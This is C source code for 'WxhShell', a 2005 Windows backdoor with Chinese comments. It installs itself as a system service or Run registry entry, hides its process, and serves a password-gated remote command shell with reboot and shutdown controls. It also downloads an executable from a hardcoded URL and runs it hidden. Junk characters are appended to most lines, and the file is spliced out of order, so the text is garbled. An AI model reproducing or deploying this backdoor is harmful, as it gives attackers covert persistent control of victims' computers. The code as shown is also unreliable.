  // 关机 ;_F iiBk7(  
  case 'd': { _r+9S.z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '.#KkvE##  
    if(Boot(SHUTDOWN)) )Mi #{5z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(VQD>G  
    else { \V7Hi\)  
    closesocket(wsh); 3`5?Zgp  
    ExitThread(0); 3 B KW  
    } q}M^i7IE  
    break; C' o4Su#  
    } 3Nsb@0  
  // 获取shell Ni(D[?mZ  
  case 's': { K}1>n2P  
    CmdShell(wsh); SdYES5aES  
    closesocket(wsh); KVSy^-."  
    ExitThread(0);  i/y+kL  
    break; A&Ut:OiA  
  } Njc3X@4=  
  // 退出 Y\%R6/Gj|u  
  case 'x': { j &)|nK;}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jSaEwN  
    CloseIt(wsh); s><RL]+{G+  
    break; !:c7I@  
    } V<\:iNXX{  
  // 离开 h7~&rWb  
  case 'q': { z }R-J/xr2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4<ER dP7"-  
    closesocket(wsh); 4Q z  
    WSACleanup(); sog?Mvoq  
    exit(1); f]J?-ks  
    break; fdck/|`t  
        } tCI8 \~  
  } x1|5q/I  
  } {S~2m2up0L  
6i9m!YQV  
  // 提示信息 mu=u!by.E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o-("S|A-  
} Lyt6DvAp"  
  } XFG]%y=/6  
\%mR*J+  
  return; RgRyo  
} e@L+z  
|b'tf:l  
// shell模块句柄 yXg783B|v  
int CmdShell(SOCKET sock) yJ/m21f  
{ YV. *8'*  
STARTUPINFO si; WxWgY}`  
ZeroMemory(&si,sizeof(si)); A}t.`FLP,j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FK }x*d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U%t:]6d&}  
PROCESS_INFORMATION ProcessInfo; OAOG&6xu8  
char cmdline[]="cmd"; f*NtnD=rJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);   
  return 0; v~L} :  
} 8{4I6;e-  
xZGR<+t  
// 自身启动模式 6X7r=w  
int StartFromService(void) }{bO ~L7  
{ PcM:0(,G  
typedef struct >^+Q`"SN  
{ >|.jG_s  
  DWORD ExitStatus; h'MX{Wm.  
  DWORD PebBaseAddress; }1:jM_H)k  
  DWORD AffinityMask; }x~|XbG  
  DWORD BasePriority; <!5N=-  
  ULONG UniqueProcessId; Y 0$m~}j  
  ULONG InheritedFromUniqueProcessId; wD22@uM#]  
}   PROCESS_BASIC_INFORMATION; rnmWw#  
H+zQz8zMC  
PROCNTQSIP NtQueryInformationProcess; O JvEq@  
uLe+1`Y5Ux  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dbB2/RI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hy W4=  
4JU#3  
  HANDLE             hProcess; RNl%n}   
  PROCESS_BASIC_INFORMATION pbi; s ~(qO|d  
zw\"!=r^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qW?^_  
  if(NULL == hInst ) return 0; 03$Ay_2  
]r'b(R; S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &y3_>!L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XLEA|#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P)(Ly5$*  
gRSM~<  
  if (!NtQueryInformationProcess) return 0; nUd(@@%m  
1?E\2t&K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k(u W( 6  
  if(!hProcess) return 0; ndF Kw  
d!Y,i!l!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]2h~Db=  
5IVASqYp  
  CloseHandle(hProcess); zT!JHG  
x*Z"~'DI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BIw9@.99B-  
if(hProcess==NULL) return 0; p1J%=  
{BJ[h  
HMODULE hMod; W5J"#^kdF8  
char procName[255]; 90K&s#+13  
unsigned long cbNeeded; =qI JXV  
/vsQ <t;~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); { F. Ihw  
pf] sL/g  
  CloseHandle(hProcess); JfKl=vg  
dXrv  
if(strstr(procName,"services")) return 1; // 以服务启动 4;w_o9o  
r4!zA-{  
  return 0; // 注册表启动 9FcCq*D  
} 0fi+tc 30  
sI9~TZ :  
// 主模块 {^MR^4&}(  
int StartWxhshell(LPSTR lpCmdLine) 89'nbg  
{ SJy:5e?zk  
  SOCKET wsl; <aL$d7  
BOOL val=TRUE; Q'$aFl'NR  
  int port=0; q;>'jHh  
  struct sockaddr_in door; ) ae/+Q8  
l}:9)nXA{  
  if(wscfg.ws_autoins) Install(); A g/z\kX  
ug UV`5w   
port=atoi(lpCmdLine); /+02 BP  
33"{"2==`  
if(port<=0) port=wscfg.ws_port; 3YA !2  
*k=Pk  
  WSADATA data; )9L1WOGi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +de.!oY  
4i/TEHQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   auL?Hb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h'IBVI!P  
  door.sin_family = AF_INET; gt}/C4|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N:"E%:wSbi  
  door.sin_port = htons(port); <(s+  
F?5kl/("  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u) fbR  
closesocket(wsl); Ao?H.=#y  
return 1; Z1^S;#v  
} u8-)LOf(  
vV"TTzs!  
  if(listen(wsl,2) == INVALID_SOCKET) { _y5b>+  
closesocket(wsl); [x-Z)Q. 5  
return 1; Q$V xm+  
} %"+FN2nbm  
  Wxhshell(wsl); O{SU,"!y  
  WSACleanup(); >$HMZbsE  
Z-]d_Y~m4  
return 0; GD~3RnGQ{  
kTs)u\r.  
} T5W r;a  
cs~ }k7><  
// 以NT服务方式启动 ROQk^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %oC]Rpdu  
{ 4?72TBl]  
DWORD   status = 0; CaZEU(i  
  DWORD   specificError = 0xfffffff; r`28fC  
.t7D/_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'fawpU|h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v8-F;>H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \!z=x#!O$  
  serviceStatus.dwWin32ExitCode     = 0; w#XE!8`  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ /:]HG  
  serviceStatus.dwCheckPoint       = 0; <~X=6  
  serviceStatus.dwWaitHint       = 0; ^vsOlA(4  
o.}^6.h"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E(]yjZ/  
  if (hServiceStatusHandle==0) return; (WN'wp  
LF*3Iw|v  
status = GetLastError(); >\(Ma3S   
  if (status!=NO_ERROR) ~iF*+\  
{ +`.%aJIi9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sOU_j4M{  
    serviceStatus.dwCheckPoint       = 0; 4ol=YGCI_  
    serviceStatus.dwWaitHint       = 0; 9c#9KCmc  
    serviceStatus.dwWin32ExitCode     = status; 3=sA]j-+(  
    serviceStatus.dwServiceSpecificExitCode = specificError; ( 9dV%#G\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); --",}%-  
    return; nGX~G^mZ  
  } K2:r7f  
!Me%W3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wrGd40  
  serviceStatus.dwCheckPoint       = 0; 8*6J\FE<p  
  serviceStatus.dwWaitHint       = 0; A(;J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qpf BM  
} (IJf2  
hO{@!H$l  
// 处理NT服务事件,比如:启动、停止 De:w(Rm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o)S>x0| [  
{ Zb);08X  
switch(fdwControl) ?xUz{O0/  
{ K%Q^2"Eb0  
case SERVICE_CONTROL_STOP: #J^p,6  
  serviceStatus.dwWin32ExitCode = 0; 6@bGh|   
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  w8FZXL  
  serviceStatus.dwCheckPoint   = 0; O aF+Z@s  
  serviceStatus.dwWaitHint     = 0; ']+H P9i$  
  { :CK,(?t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Of([z!'Gc  
  } L[TL~@T   
  return; vbwEX6  
case SERVICE_CONTROL_PAUSE: S$muV9z2=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +zL=UEBN  
  break; 36Wuc@<H  
case SERVICE_CONTROL_CONTINUE: vc^PXjX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]V.9jlXF  
  break; nV']^3b  
case SERVICE_CONTROL_INTERROGATE: nW|[poQK  
  break; z:< (b   
}; O@E&lP6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K<+AJ(C  
} %$sWNn  
j#!J hi  
// 标准应用程序主函数 P?]q*KViM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3UrqV`x \  
{ *bv Iqa  
b[RBp0]x  
// 获取操作系统版本 f<kL}B+,Og  
OsIsNt=GetOsVer(); g08=D$P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wQ [2yq  
C: e}}8i  
  // 从命令行安装 UbQeN  
  if(strpbrk(lpCmdLine,"iI")) Install(); pF"z)E|^  
n]8_]0{qi  
  // 下载执行文件 U35}0NT _  
if(wscfg.ws_downexe) { D-,sF8{ i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o_\b{<^I  
  WinExec(wscfg.ws_filenam,SW_HIDE); h)A+5^:^  
} bXC 0f:L  
,&)XhO?  
if(!OsIsNt) { SB  \ptF  
// 如果时win9x,隐藏进程并且设置为注册表启动 luC',QJB  
HideProc(); +m>Kb edl  
StartWxhshell(lpCmdLine); uVisU%p  
} bWMM[pnL  
else p1Lx\   
  if(StartFromService()) < W&~tVv  
  // 以服务方式启动 F7"Ihb^l  
  StartServiceCtrlDispatcher(DispatchTable); zlFl{t  
else W%1fm/ G0  
  // 普通方式启动 Ho"FB|e  
  StartWxhshell(lpCmdLine); AHZ6  
& 6}vvgz  
return 0; K5 w22L^=+  
} }3?M0:  
qw_qGgbl  
=BGc@:2  
1p8E!c{}j  
=========================================== &"^A  
YHKm{A ]  
PK+][.6H  
T>?sPq  
f-{[ushj  
?94da4p  
" h+$_:](PC  
F48`1+  
#include <stdio.h> {s`1+6_&Vz  
#include <string.h> ]j{S' cz  
#include <windows.h> Dri1A%  
#include <winsock2.h>  j, G/[V  
#include <winsvc.h> BO{J{  
#include <urlmon.h> uF^+}Y ZT  
F^ Q  
#pragma comment (lib, "Ws2_32.lib") T`WFY  
#pragma comment (lib, "urlmon.lib") WVo%'DtF`  
!HB,{+25  
#define MAX_USER   100 // 最大客户端连接数 cF/FretoO  
#define BUF_SOCK   200 // sock buffer %@r h\Z  
#define KEY_BUFF   255 // 输入 buffer FlkAo]  
I&(cdKY z  
#define REBOOT     0   // 重启 1C|j<w=i  
#define SHUTDOWN   1   // 关机 i_=P!%,  
b(XhwkGVq  
#define DEF_PORT   5000 // 监听端口 iT|+<h  
@D60  
#define REG_LEN     16   // 注册表键长度 s*!2oj  
#define SVC_LEN     80   // NT服务名长度 AN.`tv  
D(r|sw  
// 从dll定义API c9'#G>&h~^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tSO F7N/<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >c1mwZS ;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4XKg3l1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  NOQgkN  
c?opVbJB\  
// wxhshell配置信息 Y@r#:BH )  
struct WSCFG { i3Ffk+ |b  
  int ws_port;         // 监听端口 APLu?wy7s5  
  char ws_passstr[REG_LEN]; // 口令 @*c+`5)_  
  int ws_autoins;       // 安装标记, 1=yes 0=no lv\2vRYw-  
  char ws_regname[REG_LEN]; // 注册表键名 :s$9#}hw,  
  char ws_svcname[REG_LEN]; // 服务名 v =u|D$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F\]rxl4(L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y&&Y:+ V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .KB*u*h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZRX>SyM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r7IhmdA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hwXp=not(  
+0=RC^   
}; rVN|OLh  
4$|G$h  
// default Wxhshell configuration Z6 aT%7}}  
struct WSCFG wscfg={DEF_PORT, 8F@6^9C  
    "xuhuanlingzhe", Y8AU<M  
    1, )Z^( +  
    "Wxhshell", |C(72t?K  
    "Wxhshell", =_wgKXBFa  
            "WxhShell Service", b ;}MA7=  
    "Wrsky Windows CmdShell Service", oZ8SEC "]  
    "Please Input Your Password: ", 4+W}TKw  
  1, .Ftml'!  
  "http://www.wrsky.com/wxhshell.exe", cX&c%~  
  "Wxhshell.exe" UGN. ]#"#  
    }; PNKmI  
'@W72ML.  
// 消息定义模块 d)0%|yX6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 =kd4'yV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M9N|Ql  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l,/5$JGnk  
char *msg_ws_ext="\n\rExit."; 6#K_Rg>.  
char *msg_ws_end="\n\rQuit."; 7v?Ygtv  
char *msg_ws_boot="\n\rReboot..."; %v|,-B7Yx  
char *msg_ws_poff="\n\rShutdown..."; S\ li<xl  
char *msg_ws_down="\n\rSave to "; *U]f6Q<X  
d6L(Q(:s  
char *msg_ws_err="\n\rErr!"; eIEcj<f  
char *msg_ws_ok="\n\rOK!"; w5[POo' 5  
:N[2*.c[  
char ExeFile[MAX_PATH]; 0P)c)x5  
int nUser = 0; gr7W&2x7\  
HANDLE handles[MAX_USER]; =]^* -f}J9  
int OsIsNt; #F9$"L1Hg  
~k J#IA  
SERVICE_STATUS       serviceStatus; -kJF@w6u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wm\f:|U5`  
F>}).qx  
// 函数声明 }8FP5Z'Cf%  
int Install(void); VJNPs6  
int Uninstall(void); r|P4|_No  
int DownloadFile(char *sURL, SOCKET wsh); l >O]Cpt  
int Boot(int flag); *$s)p>  
void HideProc(void); 1'd "O @  
int GetOsVer(void); H(g&+Wcu=  
int Wxhshell(SOCKET wsl); nyDqR#t  
void TalkWithClient(void *cs); 57oY]NT?  
int CmdShell(SOCKET sock); d-  ]%  
int StartFromService(void); cAL&>T  
int StartWxhshell(LPSTR lpCmdLine); k!%HcU%J  
|{_%YM($  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P@Qo2zTh%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YZnrGkQ  
M 35}5+  
// 数据结构和表定义 2f-Z\3)9 J  
SERVICE_TABLE_ENTRY DispatchTable[] = L@+j8[3BX  
{ GY4yZa  
{wscfg.ws_svcname, NTServiceMain}, Ig6s'^  
{NULL, NULL} 2/bck)p=  
}; WUxr@0  
9 np<r82  
// 自我安装 a'A0CQ  
int Install(void) gNO$WY^  
{ KYeA=  
  char svExeFile[MAX_PATH]; :b ;5O3:B  
  HKEY key; yn=1b:kid  
  strcpy(svExeFile,ExeFile); A8A+ImwO"  
q6,xsO,+  
// 如果是win9x系统,修改注册表设为自启动 G{s ,Y^  
if(!OsIsNt) { 0zfrx-'zN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `C=p7 %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 C[ ;2  
  RegCloseKey(key); {UhZ\qe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?e ~*,6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *]EcjK%  
  RegCloseKey(key); $)uQ%/DH>  
  return 0; h&Sl8$jVp  
    } Z-~^)lo  
  } )-sEm`(`I9  
} D2hvf ^g'*  
else { 2ru6 bIb;  
SnXLjJe  
// 如果是NT以上系统,安装为系统服务 Kzmgy14o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w(@`g/b  
if (schSCManager!=0) "C.$qk]  
{ xNONf4I:6J  
  SC_HANDLE schService = CreateService LQS*/s0  
  ( QoW3*1o  
  schSCManager, !l&lb]V cz  
  wscfg.ws_svcname, 71 2i |  
  wscfg.ws_svcdisp, FX'W%_f,  
  SERVICE_ALL_ACCESS, [C&c;YNp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l==T3u r  
  SERVICE_AUTO_START, 7z$+ *]9-  
  SERVICE_ERROR_NORMAL, ^.4<#Qs  
  svExeFile, \K4m~e@!  
  NULL,  $SDx) '!  
  NULL, E^qKkl  
  NULL, '.bMkty#  
  NULL,  "3v%|  
  NULL Zw3|HV(so  
  ); EUNG&U  
  if (schService!=0) {Cd*y6lI  
  { fpqKa r  
  CloseServiceHandle(schService); duM>( y  
  CloseServiceHandle(schSCManager); "47nc1T+n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f"-?%I*'  
  strcat(svExeFile,wscfg.ws_svcname); O 8fh'6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'J\%JAR@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4ASc`w*0  
  RegCloseKey(key); 5n"'M&Ce  
  return 0; 0lEIj/u  
    } >sP;B5S  
  } CR _A{(  
  CloseServiceHandle(schSCManager); xo*a9H?@  
} 'E@D  
} ]02V,'x  
ei"FN3Rm  
return 1; p'R}z|d)  
} ?iq:Gf  
5zU D W?  
// 自我卸载 lKa}Bcd  
int Uninstall(void) AKHi$Bk  
{ d) > if<o  
  HKEY key; sQ_{zOUPh  
3}sd%vCK  
if(!OsIsNt) { 7N:,F9V<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N#UyAm<9  
  RegDeleteValue(key,wscfg.ws_regname); tIRw"sz  
  RegCloseKey(key); +`9T?:fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uh GL1{  
  RegDeleteValue(key,wscfg.ws_regname); 8L&#<Ol  
  RegCloseKey(key); 8J@REP4  
  return 0; OW6i2>Or  
  } g{i( 4DHm(  
} u6D>^qF}@'  
} 9 Z4H5!:(  
else { P ^D\znvc  
? 1_*ct=g9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Z3.Le"  
if (schSCManager!=0) pV1~REk$&  
{ K)&AR*Tc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C`DTPoXN  
  if (schService!=0) AJj6@hi2P  
  { a*o=,!  
  if(DeleteService(schService)!=0) { r% qgLP{v  
  CloseServiceHandle(schService); &OsJnkY<<  
  CloseServiceHandle(schSCManager); \[Q,>{^  
  return 0; 0Pbv7)=XL  
  } SkS vu}  
  CloseServiceHandle(schService); ?a(ApD\  
  } uNLA/hL+n  
  CloseServiceHandle(schSCManager); Yz[^?M%(D  
} Q xKC5`1  
} /SjA;c! .  
`2}Mz9mk  
return 1; RtN5\  
} Z+E@B>D7A^  
>12phLu  
// 从指定url下载文件 4s%vx]E  
int DownloadFile(char *sURL, SOCKET wsh) <Knl6$B  
{ H71LJfH  
  HRESULT hr; m{;2!  
char seps[]= "/"; bF<FX_}!s!  
char *token; 7]62=p2R  
char *file; MoavA 3`  
char myURL[MAX_PATH]; `gx_+m^  
char myFILE[MAX_PATH]; 7$Jb"s  
A+_361KH  
strcpy(myURL,sURL); x}{/) ?vC  
  token=strtok(myURL,seps); ;&oS=6$  
  while(token!=NULL) H)ud?vB6  
  { ( hp 52Vse  
    file=token; 4v_<<l  
  token=strtok(NULL,seps); w9G (^jS6  
  } `$Z:j;F  
9rf6,hF  
GetCurrentDirectory(MAX_PATH,myFILE); 9'Le}`Gf  
strcat(myFILE, "\\"); s#hIzt  
strcat(myFILE, file); ;=fOyg  
  send(wsh,myFILE,strlen(myFILE),0); ]ri5mnB  
send(wsh,"...",3,0); EyO=M~nsS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oSq?. *w<  
  if(hr==S_OK) Arc6d5Q  
return 0; JZ3CCf  
else C0(?f[/(M  
return 1; '1+s^Q'pc  
`tw[{Wb  
} P;4Y%Dq~Qo  
q!iS Y  
// 系统电源模块 % Ya%R@b}  
int Boot(int flag) <n? cRk'.  
{ l1HMH?0|  
  HANDLE hToken; lY -2e>  
  TOKEN_PRIVILEGES tkp; `1 A,sXfa  
w`KqB(36  
  if(OsIsNt) { +Np[m$Z *  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XB0G7o%1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y &wtF8  
    tkp.PrivilegeCount = 1; !>RDHu2n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *@)0TL( 03  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x$hhH=  
if(flag==REBOOT) { Ec'Hlsgh&T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B! +rO~  
  return 0; w.X MyHj  
} zbY2gq@?  
else { LY:%k|L9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5-*hAOThg  
  return 0; )+7|_7 !x  
} NVnId p  
  } #ME!G/  
  else { R`5g#  
if(flag==REBOOT) { WwUhwY1o!L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $Z|HFV{  
  return 0; epN!+(v  
} k I?+\k\V`  
else { I|n? 32F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )2sE9G,  
  return 0; M}fk[Yr>  
} r=Tz++!  
} ;NMv>1fI  
5bB\i79$  
return 1; y#T.w0*  
} #Z. QMWq  
s5/u>d  
// win9x进程隐藏模块 X;bHlA-g  
void HideProc(void) 8$F"!dc _  
{ K<rv|bJ  
vX@T Zet0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \wV^uS   
  if ( hKernel != NULL ) /8#e < p  
  { TMsc5E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); de/oK c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )2 lB  
    FreeLibrary(hKernel); 25PZ&^G 8%  
  } ;Rlf[](iL  
\ 5.nr*5  
return; b>-h4{B[  
} !,+<?o y  
a&Qr7tT Y"  
// 获取操作系统版本 g`z;:ao  
int GetOsVer(void) 0q4P hxR`e  
{ eQz.N<f"  
  OSVERSIONINFO winfo; Gf +>Aj U'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /X]gm\x7s  
  GetVersionEx(&winfo); :7M%/#Fy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0&u=(;Dr\  
  return 1; ZZw2m@T>  
  else Hu9nJ  
  return 0; >V?W_oM)  
} ^7uXpqQBr  
Im?/#tX  
// 客户端句柄模块 GEv x<:  
int Wxhshell(SOCKET wsl) q*Oj5;  
{ sib/~j  
  SOCKET wsh; Ee_?aG e&  
  struct sockaddr_in client; {Q>4zepN!  
  DWORD myID; rK3KxG  
[p' A?-  
  while(nUser<MAX_USER) 6 .9C 4  
{ 8[.&ca/[  
  int nSize=sizeof(client); )Tieef*Q~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tU$n3Bg  
  if(wsh==INVALID_SOCKET) return 1; 3dz{" hV  
{Q[ G/=mx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dDSb1TM  
if(handles[nUser]==0) dWi< U4  
  closesocket(wsh); |)xWQ KzA  
else '4 It>50b  
  nUser++; =`*@OJHH  
  } QOgGL1)7-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E=8GSl/Jx  
V FM!K$_  
  return 0; e|W;(@$<  
} sPb}A$'  
b)x0;8<  
// 关闭 socket #6 ni~d&0  
void CloseIt(SOCKET wsh) k]C k%[d  
{ V;g) P  
closesocket(wsh); qO38vY){  
nUser--; `\|@w@f|;  
ExitThread(0); 4%zy$,|e  
} ]%I\FefT  
J+Fev.9>  
// 客户端请求句柄 8(&6*- 7=  
void TalkWithClient(void *cs) 3=o4ncg(  
{ ~(^pGL3<  
`#w#!@s#@  
  SOCKET wsh=(SOCKET)cs; ?-%(K^y4r  
  char pwd[SVC_LEN];  r73W. &  
  char cmd[KEY_BUFF]; OiXO<1'$  
char chr[1]; 9BpxbU+L;  
int i,j; {}8C/4iP  
\2=I//YF  
  while (nUser < MAX_USER) { (]\p'%A)  
(J.Z+s$:2  
if(wscfg.ws_passstr) { M9o/6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,?Ie!r$6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %'i_iF8.  
  //ZeroMemory(pwd,KEY_BUFF); XN6$TNsD$  
      i=0; 16]Ay&Kn!  
  while(i<SVC_LEN) { JIw?]xa*  
z;P#  
  // 设置超时 ,52Lm=n  
  fd_set FdRead; 1ig*Xp[  
  struct timeval TimeOut; ]Jm\k'u[  
  FD_ZERO(&FdRead); E:M,nSc)53  
  FD_SET(wsh,&FdRead); +6l#hO7h  
  TimeOut.tv_sec=8; %7 yQ0'P  
  TimeOut.tv_usec=0; N%>h>HJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tY]?2u%)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R4VX*qkB  
Lfcy#3!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %*!6R:gAp  
  pwd=chr[0]; ^'`(E_2u  
  if(chr[0]==0xd || chr[0]==0xa) { !4D?X\~"%  
  pwd=0;  !QvmzuK  
  break; (y6q}#<  
  } -C(Yl=  
  i++; 6nE/8m  
    } ZiQ<SSo:  
; U7P{e05  
  // 如果是非法用户,关闭 socket T?f{.a)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xe_djy'8  
} z9OpMA  
4Eu'_>"a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,g}$u'A+d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fap]`P~#L  
"P@ SR`v#  
while(1) { 41d+z>a]  
=y@0i l+V  
  ZeroMemory(cmd,KEY_BUFF); [t3 Kgjt  
Y DHP-0?  
      // 自动支持客户端 telnet标准   d7G@Z|R3p  
  j=0; csLbzDg  
  while(j<KEY_BUFF) { aXqig&:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &PL=nI\)  
  cmd[j]=chr[0]; L[9Kh&c  
  if(chr[0]==0xa || chr[0]==0xd) { elhP!"G  
  cmd[j]=0; GVlT+Rs7  
  break; kiN,N]-V  
  } 9M7P|Q  
  j++; \/j,  
    } s#aj5_G  
@{fwM;me]P  
  // 下载文件 Kf[.@_TD<1  
  if(strstr(cmd,"http://")) { CC"a2Hu/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x+za6e_k"  
  if(DownloadFile(cmd,wsh)) gI2'[OU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&9MkbH1  
  else Y7g%nz[[  
